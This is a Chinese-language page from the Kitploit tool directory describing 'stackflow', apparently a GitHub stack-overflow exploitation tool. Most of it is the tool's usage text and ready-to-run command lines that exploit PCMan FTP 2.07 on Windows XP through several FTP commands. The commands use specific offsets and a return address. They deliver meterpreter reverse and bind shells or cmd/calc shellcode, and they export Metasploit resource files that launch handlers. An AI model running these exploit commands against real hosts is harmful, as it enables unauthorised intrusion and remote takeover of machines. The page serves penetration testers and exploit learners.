Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
stackflow — 通用基于栈的缓冲区溢出利用工具 | Kitploit
工具/GitHubGitHub/d4rkcat/stackflow
Payload生成漏洞分析漏洞利用Shellcode调试器模糊测试渗透测试二进制利用
GitHubd4rkcat/stackflow

stackflow

通用基于栈的缓冲区溢出利用工具

查看仓库
238212年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

stackflow

通用栈溢出利用工具

用法

root@kitploit:~
usage: ./stackflow.py OPTIONS

optional arguments:
  -h, --help            show this help message and exit
  -r RHOST, --rhost RHOST
                        rhost
  -p RPORT, --rport RPORT
                        rport
  -c CMDS, --cmds CMDS  commands to send to server before overflow
  -v VULNCMD, --vulncmd VULNCMD
                        vulnerable command
  -o OFFSET, --offset OFFSET
                        offset to EIP
  -ao AUTOOFFSET, --autooffset AUTOOFFSET
                        calculate offset from cyclic pattern EIP string
  -a RETURNADD, --returnadd RETURNADD
                        return address
  -n NOPS, --nops NOPS  number of NOPS \x90 x 4 to prepend
  -m PAYLOAD, --payload PAYLOAD
                        MSF payload
  -i LHOST, --lhost LHOST
                        lhost
  -l LPORT, --lport LPORT
                        lport
  -f FUZZ, --fuzz FUZZ  Fuzz with cyclic pattern of size
  -t, --calc            Send calc.exe shellcode
  -t1, --cmdprompt      Send cmd.exe shellcode
  -d, --display         Display the exploit buffer
  -q, --quiet           Display less cruft
  -w TIMEOUT, --timeout TIMEOUT
                        Timeout for socket (Default: 5)
  -e CFEXPORT, --cfexport CFEXPORT
                        Export exploit config and metasploit rc file
  -g CFIMPORT, --cfimport CFIMPORT
                        Import and run exploit from config file
  -s STANDALONE, --standalone STANDALONE
                        Export exploit to a standalone python script

所有选项都可以通过命令行输入,或从配置文件中读取。

以下示例适用于运行在 WindowsXP SP3(ENG) 上的 PCMan FTP 2.07:

漏洞应用:http://www.exploit-db.com/wp-content/themes/exploit/applications/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z

无需发送任何命令即可利用,并发送回连到 192.168.0.2 的 4444 端口的 meterpreter/reverse_tcp shellcode:

root@kitploit:~
./stackflow.py -i 192.168.0.2 -l 4444 -r 192.168.0.9 -p 21 -o 2012 -m windows/meterpreter/reverse_tcp -a 7E429353

利用 USER 命令,并发送回连到 192.168.0.2 的 4444 端口的 meterpreter/reverse_tcp shellcode:

root@kitploit:~
./stackflow.py -i 192.168.0.2 -l 4444 -r 192.168.0.9 -p 21 -o 2007 -m windows/meterpreter/reverse_tcp -v 'USER' -a 7E429353

利用 PASS 命令并发送 calc.exe shellcode:

root@kitploit:~
./stackflow.py -r 192.168.0.9 -p 21 -o 6103 -v 'PASS' -c 'USER anonymous' -a 7E429353 -t

利用 ABOR 命令,并发送监听 4444 端口的 meterpreter/bind_tcp shellcode:

root@kitploit:~
./stackflow.py -r 192.168.0.9 -p 21 -o 2007 -v 'ABOR' -c 'USER anonymous&PASS [email protected]' -a 7E429353 -l 4444 -m windows/meterpreter/bind_tcp

利用 CWD 命令,发送 cmd.exe shellcode 并显示利用缓冲区:

root@kitploit:~
./stackflow.py -r 192.168.0.9 -p 21 -o 2008 -v 'CWD' -c 'USER anonymous&PASS [email protected]' -a 7E429353 -t1 -d

使用大小为 3000 的循环缓冲区对 STOR 命令进行模糊测试:

root@kitploit:~
./stackflow.py -r 192.168.0.9 -p 21 -v 'STOR' -c 'USER anonymous&PASS [email protected]' -f 3000

在模糊测试崩溃后,使用从 EIP 获取的自动偏移字符串利用 CWD 命令,并发送 cmd.exe shellcode:

root@kitploit:~
./stackflow.py -r 192.168.0.9 -p 21 -ao o9Cp -v 'CWD' -c 'USER anonymous&PASS [email protected]' -a 7E429353 -t1

导出 exploit 的 py 文件和 metasploit rc 文件:

root@kitploit:~
./stackflow.py -r 192.168.0.9 -p 21 -o 2008 -v 'CWD' -c 'USER anonymous&PASS [email protected]' -a 7E429353 -e revCWD -l 4444 -m windows/meterpreter/reverse_tcp -i 192.168.0.2

启动 msfconsole 并运行 exploit 和 handler:

root@kitploit:~
msfconsole -r revCWD.rc

从 msfconsole 运行 exploit 和 handler:

root@kitploit:~
resource /path/to/revCWD.rc

从配置文件运行 exploit(无 handler!):

root@kitploit:~
./stackflow.py -g revCWD(.py)
下载工具